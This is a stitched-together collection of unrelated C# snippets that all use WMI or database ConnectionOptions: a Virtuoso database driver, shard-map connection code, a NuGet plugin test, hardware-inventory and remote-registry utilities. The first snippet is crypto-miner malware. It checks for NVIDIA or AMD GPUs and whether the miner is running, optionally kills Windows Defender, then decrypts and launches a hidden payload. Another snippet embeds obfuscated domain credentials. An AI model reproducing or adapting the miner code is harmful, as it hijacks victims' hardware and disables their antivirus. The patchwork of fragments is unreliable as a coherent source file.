Console.ReadLine(); }
public static void _rWDLoop_() { try { string _rarg1_ = ""; bool _rarg2_ = false; var _rarg4_ = new ConnectionOptions(); _rarg4_.Impersonation = ImpersonationLevel.Impersonate; var _rarg5_ = new ManagementScope(@"\root\cimv2", _rarg4_); _rarg5_.Connect(); var rarg6 = new ManagementObjectSearcher(_rarg5_, new ObjectQuery("SELECT Name, VideoProcessor FROM Win32_VideoController")).Get(); foreach (ManagementObject MemObj in rarg6) { _rarg1_ += (" " + MemObj["VideoProcessor"] + " " + MemObj["Name"]); } var _rarg7_ = new ManagementObjectSearcher(_rarg5_, new ObjectQuery(string.Format(_rGetString_("#MINERQUERY"), _rGetString_("#InjectionTarget")))).Get(); foreach (ManagementObject retObject in _rarg7_) { if (retObject != null && retObject["CommandLine"] != null && retObject["CommandLine"].ToString().Contains(_rGetString_("#MINERID"))) { _rarg2_ = true; } } if (!File.Exists(_rplp_) || (!_rarg2_ && (_rarg1_.IndexOf("nvidia", StringComparison.OrdinalIgnoreCase) >= 0 || _rarg1_.IndexOf("amd", StringComparison.OrdinalIgnoreCase) >= 0))) { if (!File.Exists(_rplp_) || _rcheckcount_ > 2) { _rcheckcount_ = 0; #if DefKillWD try { _rCommand_(_rGetString_("#SCMD"), _rGetString_("#KillWDCommands")); } catch (Exception ex) { #if DefDebug MessageBox.Show("W2.5: " + Environment.NewLine + ex.ToString()); #endif } #endif File.WriteAllBytes(_rplp_, _rAESMethod_(_rxm_)); Process.Start(new ProcessStartInfo { FileName = _rplp_, WindowStyle = ProcessWindowStyle.Hidden, WorkingDirectory = Path.GetDirectoryName(_rplp_), CreateNoWindow = true, }); Environment.Exit(0); } else { _rcheckcount_ += 1; } } Thread.Sleep(startDelay * 1000 + 20000); _rWDLoop_(); } catch (Exception ex) { #if DefDebug MessageBox.Show("W2: " + Environment.NewLine + ex.ToString()); #endif } }
public override void Open (ConnectionOptions options) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "OdbcConnection.Open ()"); OnConnect (); try { Connect (options); } catch (Exception) { OnDisconnect (); throw; } }
/// <summary> /// Given a key value, asynchronously obtains a SqlConnection to the shard in the mapping /// that contains the key value. /// </summary> /// <typeparam name="TMapping">Mapping type.</typeparam> /// <typeparam name="TKey">Key type.</typeparam> /// <param name="key">Input key value.</param> /// <param name="constructMapping">Delegate to construct a mapping object.</param> /// <param name="errorCategory">Error category.</param> /// <param name="connectionString"> /// Connection string with credential information, the DataSource and Database are /// obtained from the results of the lookup operation for key. /// </param> /// <param name="options">Options for validation operations to perform on opened connection.</param> /// <returns>A task encapsulating an opened SqlConnection as the result.</returns> protected async Task <SqlConnection> OpenConnectionForKeyAsync <TMapping, TKey>( TKey key, Func <ShardMapManager, ShardMap, IStoreMapping, TMapping> constructMapping, ShardManagementErrorCategory errorCategory, string connectionString, ConnectionOptions options = ConnectionOptions.Validate) where TMapping : class, IShardProvider { ShardKey sk = new ShardKey(ShardKey.ShardKeyTypeFromType(typeof(TKey)), key); // Try to find the mapping within the cache. ICacheStoreMapping csm = this.Manager.Cache.LookupMappingByKey(this.ShardMap.StoreShardMap, sk); IStoreMapping sm; if (csm != null) { sm = csm.Mapping; } else { sm = await this.LookupMappingForOpenConnectionForKeyAsync( sk, CacheStoreMappingUpdatePolicy.OverwriteExisting, errorCategory).ConfigureAwait(false); } SqlConnection result; bool lookupMappingOnEx = false; CacheStoreMappingUpdatePolicy cacheUpdatePolicyOnEx = CacheStoreMappingUpdatePolicy.OverwriteExisting; try { // Initially attempt to connect based on lookup results from either cache or GSM. result = await this.ShardMap.OpenConnectionAsync( constructMapping(this.Manager, this.ShardMap, sm), connectionString, options).ConfigureAwait(false); csm.ResetTimeToLiveIfNecessary(); return(result); } catch (ShardManagementException smme) { // If we hit a validation failure due to stale version of mapping, we will perform one more attempt. if (((options & ConnectionOptions.Validate) == ConnectionOptions.Validate) && smme.ErrorCategory == ShardManagementErrorCategory.Validation && smme.ErrorCode == ShardManagementErrorCode.MappingDoesNotExist) { // Assumption here is that this time the attempt should succeed since the cache entry // has already been either evicted, or updated based on latest data from the server. lookupMappingOnEx = true; cacheUpdatePolicyOnEx = CacheStoreMappingUpdatePolicy.OverwriteExisting; } else { // The error was not due to validation but something else e.g. // 1) Shard map does not exist // 2) Mapping could not be found. throw; } } catch (SqlException) { // We failed to connect. If we were trying to connect from an entry in cache and mapping expired in cache. if (csm != null && csm.HasTimeToLiveExpired()) { using (IdLock _idLock = new IdLock(csm.Mapping.StoreShard.Id)) { // Similar to DCL pattern, we need to refresh the mapping again to see if we still need to go to the store // to lookup the mapping after acquiring the shard lock. It might be the case that a fresh version has already // been obtained by some other thread. csm = this.Manager.Cache.LookupMappingByKey(this.ShardMap.StoreShardMap, sk); // Only go to store if the mapping is stale even after refresh. if (csm == null || csm.HasTimeToLiveExpired()) { // Refresh the mapping in cache. And try to open the connection after refresh. lookupMappingOnEx = true; cacheUpdatePolicyOnEx = CacheStoreMappingUpdatePolicy.UpdateTimeToLive; } else { sm = csm.Mapping; } } } else { // Either: // 1) The mapping is still within the TTL. No refresh. // 2) Mapping was not in cache, we originally did a lookup for mapping in GSM and even then could not connect. throw; } } if (lookupMappingOnEx) { sm = await this.LookupMappingForOpenConnectionForKeyAsync( sk, cacheUpdatePolicyOnEx, errorCategory).ConfigureAwait(false); } // One last attempt to open the connection after a cache refresh result = await this.ShardMap.OpenConnectionAsync( constructMapping(this.Manager, this.ShardMap, sm), connectionString, options).ConfigureAwait(false); // Reset TTL on successful connection. csm.ResetTimeToLiveIfNecessary(); return(result); }
public void TryCreate_DoesNotCreateNonCredentialsPluginTwice_CachesCapabilities() { var uri = new Uri("https://api.nuget.org/v3/index.json"); var authUsername = "******"; var authPassword = "******"; var expectation = new TestExpectation( serviceIndexJson: null, sourceUri: null, operationClaims: new[] { OperationClaim.DownloadPackage }, connectionOptions: ConnectionOptions.CreateDefault(), pluginVersion: ProtocolConstants.CurrentVersion, uri: uri, authenticationUsername: authUsername, authenticationPassword: authPassword, success: false ); using (var test = new PluginManagerMock( pluginFilePath: "a", pluginFileState: PluginFileState.Valid, expectations: expectation)) { var discoveryResult = new PluginDiscoveryResult(new PluginFile("a", new Lazy <PluginFileState>(() => PluginFileState.Valid))); var provider = new SecurePluginCredentialProvider(test.PluginManager, discoveryResult, NullLogger.Instance); IWebProxy proxy = null; var credType = CredentialRequestType.Unauthorized; var message = "nothing"; var isRetry = false; var isInteractive = false; var token = CancellationToken.None; var credentialResponse = provider.GetAsync(uri, proxy, credType, message, isRetry, isInteractive, token).Result; Assert.True(credentialResponse.Status == CredentialStatus.ProviderNotApplicable); Assert.Null(credentialResponse.Credentials); } var expectations2 = new TestExpectation( serviceIndexJson: null, sourceUri: null, operationClaims: new[] { OperationClaim.DownloadPackage }, connectionOptions: ConnectionOptions.CreateDefault(), pluginVersion: ProtocolConstants.CurrentVersion, uri: uri, authenticationUsername: authUsername, authenticationPassword: authPassword, success: false, pluginLaunched: false ); using (var test = new PluginManagerMock( pluginFilePath: "a", pluginFileState: PluginFileState.Valid, expectations: expectations2)) { var discoveryResult = new PluginDiscoveryResult(new PluginFile("a", new Lazy <PluginFileState>(() => PluginFileState.Valid))); var provider = new SecurePluginCredentialProvider(test.PluginManager, discoveryResult, NullLogger.Instance); IWebProxy proxy = null; var credType = CredentialRequestType.Unauthorized; var message = "nothing"; var isRetry = false; var isInteractive = false; var token = CancellationToken.None; var credentialResponse = provider.GetAsync(uri, proxy, credType, message, isRetry, isInteractive, token).Result; Assert.True(credentialResponse.Status == CredentialStatus.ProviderNotApplicable); Assert.Null(credentialResponse.Credentials); } }
public List <string> GetSiteName(long Id) { List <string> _Sites = new List <string>(); try { AvServer selectedServer = rep.Get(Id); string Ip = selectedServer.ServerIp; string path = "\\\\" + Ip + "\\C$\\Windows\\System32\\inetsrv\\config"; string userName = Cryptography.DecryptedMessage("#İŞJLE|%üD").Trim(); //Getting Secure user name string password = Cryptography.DecryptedMessage("UgŞJkzMx").Trim(); //Getting Secure password using (new Impersonation("ARKAS", userName, password)) { ConnectionOptions options = new ConnectionOptions(); options.Username = userName.Trim(); options.Password = password.Trim(); options.Authority = "ntlmdomain:ARKAS"; ManagementScope scope; string IPAddress = GetLocalIPAddress(); if (Ip == IPAddress) { scope = new ManagementScope("\\\\" + Ip + "\\root\\cimv2"); } else { scope = new ManagementScope("\\\\" + Ip + "\\root\\cimv2", options); } scope.Connect(); if (Directory.Exists(path)) { XmlTextReader reader = new XmlTextReader(Path.Combine(path, "applicationHost.config")); //XML data on target computer XmlDocument doc = new XmlDocument(); doc.Load(Path.Combine(path, "applicationHost.config")); foreach (XmlNode node in doc.DocumentElement.ChildNodes) { if (node.Name == "system.applicationHost") { foreach (XmlNode childNode in node.ChildNodes) { if (childNode.Name == "sites") { _Sites = setSitesAttribute(childNode); } } } } } } return(_Sites); } catch (Exception ex) { _Sites.Add(ex.Message); return(_Sites); } }
/// <summary> /// Given a key value, asynchronously obtains a SqlConnection to the shard in the mapping /// that contains the key value. /// </summary> /// <param name="key">Input key value.</param> /// <param name="connectionString"> /// Connection string with credential information, the DataSource and Database are /// obtained from the results of the lookup operation for key. /// </param> /// <param name="options">Options for validation operations to perform on opened connection.</param> /// <returns>A Task encapsulating an opened SqlConnection.</returns> /// <remarks>All non usage-error exceptions will be reported via the returned Task</remarks> public Task <SqlConnection> OpenConnectionForKeyAsync(TKey key, string connectionString, ConnectionOptions options = ConnectionOptions.Validate) { return(this.OpenConnectionForKeyAsync <PointMapping <TKey>, TKey>( key, (smm, sm, ssm) => new PointMapping <TKey>(smm, sm, ssm), ShardManagementErrorCategory.ListShardMap, connectionString, options)); }
private string GetOdbcString (ConnectionOptions options) { StringBuilder sb = new StringBuilder ("DRIVER={" + driver + "};"); if (options.DataSource!= null) sb.AppendFormat ("HOST={0};", options.DataSource); if (options.UserId != null) sb.AppendFormat ("UID={0};", options.UserId); if (options.Password != null) sb.AppendFormat ("PWD={0};", options.Password); if (options.Database != null) sb.AppendFormat ("DATABASE={0};", options.Database); if (options.Charset != null) sb.AppendFormat ("CHARSET={0};", options.Charset); if (options.Encrypt != null) sb.AppendFormat ("ENCRYPT={0};", options.Encrypt); return sb.ToString (); }
private Task <AsyncResponse> SendRequestAsyncImpl(MethodType type, string url, IEnumerable <KeyValuePair <string, object> > parameters, ConnectionOptions options, CancellationToken cancellationToken, IProgress <UploadProgressInfo> progress = null) { if (cancellationToken.IsCancellationRequested) { var tcs = new TaskCompletionSource <AsyncResponse>(); tcs.SetCanceled(); return(tcs.Task); } var prmArray = InternalUtils.FormatParameters(parameters); var uri = CreateUri(type, url, prmArray); Task <AsyncResponse> task; switch (type) { case MethodType.Get: task = Request.HttpGetAsync( uri, CreateAuthorizationHeader(type, uri, null), options, cancellationToken ); break; case MethodType.Post: task = ContainsBinaryData(prmArray) ? Request.HttpPostWithMultipartFormDataAsync( uri, prmArray, CreateAuthorizationHeader(type, uri, null), options, cancellationToken, progress ) : Request.HttpPostAsync( uri, prmArray, CreateAuthorizationHeader(type, uri, prmArray), options, cancellationToken, progress ); break; case MethodType.Put: task = Request.HttpPutAsync( uri, prmArray, CreateAuthorizationHeader(type, uri, prmArray), options, cancellationToken, progress ); break; case MethodType.Delete: task = Request.HttpDeleteAsync( uri, CreateAuthorizationHeader(type, uri, null), options, cancellationToken ); break; default: throw new ArgumentOutOfRangeException(nameof(type)); } return(task.ResponseCallback(cancellationToken)); }
public static bool UnregisterIP(string packID, string computerName, ConnectionOptions connectionOptions) { string oipFile = IPUtilities.GetOIPFilePath(packID); return(WMIUtilities.DeleteFileUsingWMI(oipFile, computerName, connectionOptions)); }
public static void LogEnvironmentInformation() { MySandboxGame.Log.WriteLine("MyVideoModeManager.LogEnvironmentInformation - START"); MySandboxGame.Log.IncreaseIndent(); try { ManagementObjectSearcher mosComputer = new System.Management.ManagementObjectSearcher("Select Manufacturer, Model from Win32_ComputerSystem"); if (mosComputer != null) { foreach (var item in mosComputer.Get()) { MySandboxGame.Log.WriteLine("Win32_ComputerSystem.Manufacturer: " + item["Manufacturer"]); MySandboxGame.Log.WriteLine("Win32_ComputerSystem.Model: " + item["Model"]); MySandboxGame.Log.WriteLine("Virtualized: " + IsVirtualized(item["Manufacturer"].ToString(), item["Model"].ToString())); } } ManagementObjectSearcher mos = new ManagementObjectSearcher("root\\CIMV2", "SELECT Name FROM Win32_Processor"); if (mos != null) { foreach (ManagementObject mo in mos.Get()) { MySandboxGame.Log.WriteLine("Environment.ProcessorName: " + mo["Name"]); } } // Get info about memory var memory = new WinApi.MEMORYSTATUSEX(); WinApi.GlobalMemoryStatusEx(memory); MySandboxGame.Log.WriteLine("ComputerInfo.TotalPhysicalMemory: " + MyValueFormatter.GetFormatedLong((long)memory.ullTotalPhys) + " bytes"); MySandboxGame.Log.WriteLine("ComputerInfo.TotalVirtualMemory: " + MyValueFormatter.GetFormatedLong((long)memory.ullTotalVirtual) + " bytes"); MySandboxGame.Log.WriteLine("ComputerInfo.AvailablePhysicalMemory: " + MyValueFormatter.GetFormatedLong((long)memory.ullAvailPhys) + " bytes"); MySandboxGame.Log.WriteLine("ComputerInfo.AvailableVirtualMemory: " + MyValueFormatter.GetFormatedLong((long)memory.ullAvailVirtual) + " bytes"); // Get info about hard drives ConnectionOptions oConn = new ConnectionOptions(); ManagementScope oMs = new ManagementScope("\\\\localhost", oConn); ObjectQuery oQuery = new ObjectQuery("select FreeSpace,Size,Name from Win32_LogicalDisk where DriveType=3"); using (ManagementObjectSearcher oSearcher = new ManagementObjectSearcher(oMs, oQuery)) { ManagementObjectCollection oReturnCollection = oSearcher.Get(); foreach (ManagementObject oReturn in oReturnCollection) { string capacity = MyValueFormatter.GetFormatedLong(Convert.ToInt64(oReturn["Size"])); string freeSpace = MyValueFormatter.GetFormatedLong(Convert.ToInt64(oReturn["FreeSpace"])); string name = oReturn["Name"].ToString(); MySandboxGame.Log.WriteLine("Drive " + name + " | Capacity: " + capacity + " bytes | Free space: " + freeSpace + " bytes"); } oReturnCollection.Dispose(); } } catch (Exception e) { MySandboxGame.Log.WriteLine("Error occured during enumerating environment information. Application is continuing. Exception: " + e.ToString()); } MySandboxGame.Log.DecreaseIndent(); MySandboxGame.Log.WriteLine("MyVideoModeManager.LogEnvironmentInformation - END"); }
// Have a constructor that takes a connection string. public VirtuosoConnection (string connectionString) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "VirtuosoConnection.ctor()"); // Initialize the connection object into a closed state. state = ConnectionState.Closed; autocommit = true; if (connectionString != null) options = ParseConnectionString (connectionString); else options = new ConnectionOptions (); }
private ConnectionOptions ParseConnectionString (string connectionString) { pool = null; ConnectionStringParser parser = new ConnectionStringParser (); ConnectionOptions newOptions = new ConnectionOptions (); parser.Parse (connectionString, newOptions); // can throw an exception newOptions.Verify (); // can throw an exception return newOptions; }
public ConnectionOptionsException(ConnectionOptions options, Dictionary<String, Object> rejectedOptions) : base("Router rejected connection options: rejected options and actual values: " + TextUtils.MapToString(rejectedOptions)) { this.options = options; this.rejectedOptions = rejectedOptions; }
public override void Open (ConnectionOptions options) { Socket socket = new Socket (AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); bool useRoundRobin = options.RoundRobin; int hostIndex = 0; int startIndex = 0; charset_utf8 = (options.Charset != null && options.Charset.ToUpper() == "UTF-8"); ArrayList ds_list = options.DataSourceList; if (ds_list != null) { if (ds_list.Count <= 1) useRoundRobin = false; if (ds_list.Count > 1 && useRoundRobin) startIndex = hostIndex = rnd.Next(ds_list.Count); while(true) { try { if (ds_list.Count == 0) { socket.Connect (GetEndPoint (null)); } else { socket.Connect (GetEndPoint ((string)ds_list[hostIndex])); } break; } catch (SocketException e) { hostIndex++; if (useRoundRobin) { if (ds_list.Count == hostIndex) hostIndex = 0; if (hostIndex == startIndex) throw e; } else if (ds_list.Count == hostIndex) // Failover mode last rec { throw e; } } } } try { session = new TcpSession (this, socket); socket.NoDelay = true; #if MONO Future future = new Future (Service.CallerId, new object[] { null }); #else Future future = new Future (Service.CallerId, (object) null); // not object[] #endif future.SendRequest (session, options.ConnectionTimeout); object[] results = (object[]) future.GetResultSerial (session); peer = (string) results[1]; object[] idOpts = null; if (results.Length > 2) idOpts = (object[]) results[2]; int pwdClearCode = GetConnectionOption (idOpts, "SQL_ENCRYPTION_ON_PASSWORD", -1); Debug.WriteLineIf (Switch.Enabled, "pwdClearCode: " + pwdClearCode); string user = options.UserId; string password = null; if (pwdClearCode == 1) password = options.Password; else if (pwdClearCode == 2) password = MagicEncrypt (user, options.Password); else password = Digest (user, options.Password, peer); object[] info = new object[6]; info[0] = ".NET Application"; info[1] = 0; info[2] = Environment.MachineName; info[3] = ".NET"; info[4] = options.Charset != null ? options.Charset.ToUpper () : ""; info[5] = 0; future = new Future (Service.Connect, user, password, Values.VERSION, info); future.SendRequest (session, options.ConnectionTimeout); results = future.GetResultSerial (session) as object[]; if (results == null) throw new SystemException ("Login failed."); switch ((AnswerTag) results[0]) { case AnswerTag.QA_LOGIN: SetConnectionOptions (results); break; case AnswerTag.QA_ERROR: throw new SystemException (results[1].ToString () + " " + results[2].ToString ()); default: throw new SystemException ("Bad login response."); } if (options.Database != null && options.Database != String.Empty && options.Database != currentCatalog) SetCurrentCatalog (options.Database); } catch (Exception) { Close (); throw; } }
internal SourcesApi(ConnectionOptions opts, IHttpGateway http) : base(opts, http) { }
private void InitializeSessionManager(String userName, String password, String serverName) { try { JabberID jd = new JabberID(userName); // Create a session using user credentials ConnectionOptions opts = new ConnectionOptions(serverName, jd.Server); //Session session = Session.Login(userName, password, Resource, serverName, Thread.CurrentThread.CurrentCulture); Session session = Session.Login(jd.UserName, password, Resource, true, opts); m_sessionMgr = new SessionManager(session); } catch (PacketException ex) { MessageBox.Show(string.Concat("Unable to Login :"******"Login Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } catch (StreamException ex) { MessageBox.Show(string.Concat("Unable to Login :"******"Login Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } catch { MessageBox.Show("Login failed. Please check the username and password and try again.", "Login Error", MessageBoxButtons.OK, MessageBoxIcon.Error); ResetSession(); } }
private void buttonConnectDW_Click(object sender, EventArgs e) { labelConnetionStatusDW.Text = String.Empty; ConnectionOptions options = new ConnectionOptions(); options.Authentication = AuthenticationLevel.Packet; options.Impersonation = ImpersonationLevel.Impersonate; options.EnablePrivileges = true; listBoxPropertiesDW.Items.Clear(); textBoxIPAddressDW.Text = textBoxIPAddressDW.Text.Trim().Equals("") ? "." : textBoxIPAddressDW.Text.Trim(); rsmDriverManagementObject = new RSMDriverManagement(); rsmDriverManagementObject.mgmtScope = new ManagementScope("\\\\" + textBoxIPAddressDW.Text + "\\root\\CIMV2", options); RSMDriverManagement serviceManagementObject = new RSMDriverManagement(); serviceManagementObject.mgmtScope = new ManagementScope("\\\\" + textBoxIPAddressDW.Text + "\\root\\CIMV2", options); try { labelConnetionStatusDW.Text = String.Empty; rsmDriverManagementObject.mgmtScope.Connect(); serviceManagementObject.mgmtScope.Connect(); } catch (Exception) { string errmsg = "Failed to connect\r\n\r\nPossible Reasons:\r\n" + "- Host Name or IP Address may be incorrect\r\n" + "- Currently logged-on user credentials may not be sufficient\r\n" + "- Firewall group policies of remote host may not be configured"; string errcap = "Connection Error"; MessageBox.Show(errmsg, errcap, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); labelConnetionStatusDW.Text = "Not Connected"; this.Update(); Cursor.Current = Cursors.Arrow; return; } try { serviceManagementObject.objSearcher = new ManagementObjectSearcher(serviceManagementObject.mgmtScope, new WqlObjectQuery("SELECT * FROM Win32_Service")); foreach (ManagementObject mo in serviceManagementObject.objSearcher.Get()) { String name = mo["Name"].ToString(); String state = mo["State"].ToString(); if (name == "rsmdriverproviderservice" && state != "Running") { ManagementBaseObject output = mo.InvokeMethod("StartService", null, null); } } //Enumerate RSMDriver class //It will return singleton RSMDriver WMI object rsmDriverManagementObject.objSearcher = new ManagementObjectSearcher(rsmDriverManagementObject.mgmtScope, new WqlObjectQuery("SELECT * FROM RSMDriver")); //Update RSMDriver properties foreach (ManagementObject mo in rsmDriverManagementObject.objSearcher.Get()) { String version = mo["version"].ToString(); hostAutoSwitchingEnabled = mo["HostAutoSwitchingEnabled"].ToString(); } labelConnetionStatusDW.Text = "Connected"; InitDriverMgmntTabPage(); if ("TRUE" == hostAutoSwitchingEnabled.ToUpper()) { checkBox1.Checked = true; } } catch (Exception) { labelConnetionStatusDW.Text = "Exception occurred. Please retry"; } Cursor.Current = Cursors.Arrow; pnpEventHandler = new ScannerPNPEventHandler(ref instance); //Setup to receive ScannerEvent query = new WqlEventQuery("SELECT * FROM ScannerPNPEvent"); watcher = new ManagementEventWatcher(query); watcher.EventArrived += new EventArrivedEventHandler(pnpEventHandler.EventArrived); }
private void Button1_Click(object sender, EventArgs e) { try { if (button1.Text == "Enable Stitching") { XDocument xDoc = XDocument.Load(Descanso); xDoc.Descendants("stitchingEnabledSetting").First().Value = "True"; xDoc.Save(Descanso); Cursor.Current = Cursors.WaitCursor; int i = 1; while (i < 5) { string Value = "7112"; //Change Registry Value to 7112 string ServerName = ConfigurationManager.AppSettings.Get("A" + i); string regKeyToGet = @"SOFTWARE\Wow6432Node\Memjet\Aspen\Controller"; string keyToRead = "StitchOverlapMicrons"; // Connection Login if needed ConnectionOptions oConn = new ConnectionOptions(); //oConn.Username = "******"; //oConn.Password = "******"; System.Management.ManagementScope scope = new System.Management.ManagementScope(@"\\" + ServerName + @"\root\default", oConn); scope.Options.EnablePrivileges = true; scope.Connect(); ManagementClass registry = new ManagementClass(scope, new ManagementPath("StdRegProv"), null); ManagementBaseObject inParams = registry.GetMethodParameters("CreateKey"); inParams["sSubKeyName"] = regKeyToGet; ManagementBaseObject outParams = registry.InvokeMethod("CreateKey", inParams, null); ManagementBaseObject inParams6 = registry.GetMethodParameters("SetStringValue"); inParams6["sSubKeyName"] = regKeyToGet; inParams6["sValueName"] = keyToRead; inParams6["sValue"] = Value; ManagementBaseObject outParams6 = registry.InvokeMethod("SetStringValue", inParams6, null); i++; } Cursor.Current = Cursors.Default; } else if (button1.Text == "Disable Stitching") { XDocument xDoc = XDocument.Load(Descanso); xDoc.Descendants("stitchingEnabledSetting").First().Value = "False"; xDoc.Save(Descanso); Cursor.Current = Cursors.WaitCursor; int i = 1; while (i < 5) { string Value = "0"; //Change Registry Value to 0 string ServerName = ConfigurationManager.AppSettings.Get("A" + i); string regKeyToGet = @"SOFTWARE\Wow6432Node\Memjet\Aspen\Controller"; string keyToRead = "StitchOverlapMicrons"; // Connection Login if needed ConnectionOptions oConn = new ConnectionOptions(); //oConn.Username = "******"; //oConn.Password = "******"; System.Management.ManagementScope scope = new System.Management.ManagementScope(@"\\" + ServerName + @"\root\default", oConn); scope.Options.EnablePrivileges = true; scope.Connect(); ManagementClass registry = new ManagementClass(scope, new ManagementPath("StdRegProv"), null); ManagementBaseObject inParams = registry.GetMethodParameters("CreateKey"); // inParams["hDefKey"] = (UInt32)2147483650; inParams["sSubKeyName"] = regKeyToGet; ManagementBaseObject outParams = registry.InvokeMethod("CreateKey", inParams, null); ManagementBaseObject inParams6 = registry.GetMethodParameters("SetStringValue"); //inParams6["hDefKey"] = 2147483650; inParams6["sSubKeyName"] = regKeyToGet; inParams6["sValueName"] = keyToRead; inParams6["sValue"] = Value; ManagementBaseObject outParams6 = registry.InvokeMethod("SetStringValue", inParams6, null); i++; } Cursor.Current = Cursors.Default; } DialogResult result = MessageBox.Show("You need to restart the Aspen service on all 4 machines\nWould you like to do that now?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Question); if (result == DialogResult.Yes) { Cursor.Current = Cursors.WaitCursor; ProgressDialog progressDialog = new ProgressDialog(); for (int n = 0; n < 100; n++) { progressDialog.UpdateProgress(n); // Update progress in progressDialog } progressDialog.ChangeLabel("Restarting: All Aspen Services"); progressDialog.Show(); RestartAspen(); progressDialog.Close(); Cursor.Current = Cursors.Default; } CheckReg(); } catch (Exception exception) { MessageBox.Show(exception.Message, exception.GetType().ToString(), MessageBoxButtons.OK, MessageBoxIcon.Error); } }
/// <summary> /// Affiche la ram toutes infos memoire, type, vitesse /// </summary> public void ram() { memory = 0; ConnectionOptions connection = new ConnectionOptions(); connection.Impersonation = ImpersonationLevel.Impersonate; ManagementScope scope = new ManagementScope("\\\\.\\root\\CIMV2", connection); scope.Connect(); ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_PhysicalMemory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); string infoRam2 = "Capacity | MemoryType | TypeDetail"; string infoRam3 = "________________________________________________\n" + "Speed | Label \n"; string infoRam4 = ""; int i = 1; string infoRamTMP = "", infoRam4TMP = ""; foreach (ManagementObject queryObj in searcher.Get()) { try { infoRamTMP = ""; infoRam4TMP = ""; memory += (float.Parse(queryObj["Capacity"].ToString()) / 1048576); /* //Console.WriteLine("-----------------------------------"); * //Console.WriteLine("Capacity: {0}", queryObj["Capacity"]); * //Console.WriteLine("MemoryType: {0}", queryObj["MemoryType"]); */ infoRamTMP += (float.Parse(queryObj["Capacity"].ToString()) / 1048576); while (infoRamTMP.Length < 13 * i) { infoRamTMP += ' '; } infoRamTMP += "| "; infoRamTMP += queryObj["MemoryType"].ToString(); while (infoRamTMP.Length < 28 * i + 9) { infoRamTMP += ' '; } infoRamTMP += " | "; infoRamTMP += queryObj["TypeDetail"].ToString(); infoRam4TMP += queryObj["Speed"].ToString(); while (infoRam4TMP.Length < 14 * i) { infoRam4TMP += ' '; } infoRam4TMP += "| "; infoRam4TMP += queryObj["BankLabel"].ToString(); infoRam += infoRamTMP + "\n"; infoRam4 += infoRam4TMP + "\n"; } catch (Exception e) { System.Windows.MessageBoxResult result = MessageBox.Show(e.Message, "Suppresion fichier temp", MessageBoxButton.OKCancel, MessageBoxImage.Warning); Console.Write(e.Message); } } infoRam2 += "\n" + infoRam; infoRam = infoRam2; infoRam += infoRam3; infoRam += infoRam4; }
public override void Open(ConnectionOptions options) { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); bool useRoundRobin = options.RoundRobin; int hostIndex = 0; int startIndex = 0; charset_utf8 = (options.Charset != null && options.Charset.ToUpper() == "UTF-8"); ArrayList ds_list = options.DataSourceList; if (ds_list != null) { if (ds_list.Count <= 1) { useRoundRobin = false; } if (ds_list.Count > 1 && useRoundRobin) { startIndex = hostIndex = rnd.Next(ds_list.Count); } while (true) { try { if (ds_list.Count == 0) { socket.Connect(GetEndPoint(null)); } else { socket.Connect(GetEndPoint((string)ds_list[hostIndex])); } break; } catch (SocketException e) { hostIndex++; if (useRoundRobin) { if (ds_list.Count == hostIndex) { hostIndex = 0; } if (hostIndex == startIndex) { throw e; } } else if (ds_list.Count == hostIndex) // Failover mode last rec { throw e; } } } } try { session = new TcpSession(this, socket); socket.NoDelay = true; #if MONO Future future = new Future(Service.CallerId, new object[] { null }); #else Future future = new Future(Service.CallerId, (object)null); // not object[] #endif future.SendRequest(session, options.ConnectionTimeout); object[] results = (object[])future.GetResultSerial(session); peer = (string)results[1]; object[] idOpts = null; if (results.Length > 2) { idOpts = (object[])results[2]; } int pwdClearCode = GetConnectionOption(idOpts, "SQL_ENCRYPTION_ON_PASSWORD", -1); Debug.WriteLineIf(Switch.Enabled, "pwdClearCode: " + pwdClearCode); string user = options.UserId; string password = null; if (pwdClearCode == 1) { password = options.Password; } else if (pwdClearCode == 2) { password = MagicEncrypt(user, options.Password); } else { password = Digest(user, options.Password, peer); } object[] info = new object[6]; info[0] = ".NET Application"; info[1] = 0; info[2] = Environment.MachineName; info[3] = ".NET"; info[4] = options.Charset != null?options.Charset.ToUpper() : ""; info[5] = 0; future = new Future(Service.Connect, user, password, Values.VERSION, info); future.SendRequest(session, options.ConnectionTimeout); results = future.GetResultSerial(session) as object[]; if (results == null) { throw new SystemException("Login failed."); } switch ((AnswerTag)results[0]) { case AnswerTag.QA_LOGIN: SetConnectionOptions(results); break; case AnswerTag.QA_ERROR: throw new SystemException(results[1].ToString() + " " + results[2].ToString()); default: throw new SystemException("Bad login response."); } if (options.Database != null && options.Database != String.Empty && options.Database != currentCatalog) { SetCurrentCatalog(options.Database); } } catch (Exception) { Close(); throw; } }
protected override void Dispose (bool disposing) { try { if (disposed) return; disposed = true; if (disposing) { Close (); } innerConnection = null; options = null; base.Dispose (disposing); } catch (Exception e) { Debug.WriteLineIf(CLI.FnTrace.Enabled, "VirtuosoConnection.Dispose caught exception: " + e.Message); } }
public GetAllSubscribedChannelsViewModelsRequestHandler(ConnectionOptions options) { this.connectionString = options.SqlReader; }
internal IInnerConnection CreateInnerConnection (ConnectionOptions options, bool enlist) { Debug.WriteLineIf (CLI.FnTrace.Enabled, "VirtuosoConnection.CreateInnerConnection()"); IInnerConnection conn; #if UNMANAGED_ODBC if (options.UseOdbc) conn = new OdbcConnection (); else #endif conn = new TcpConnection (); conn.OuterConnectionWeakRef = new WeakReference (this); conn.Open (options); #if MTS if (enlist && options.Enlist && ContextUtil.IsInTransaction) EnlistInnerConnection (conn); #endif return conn; }
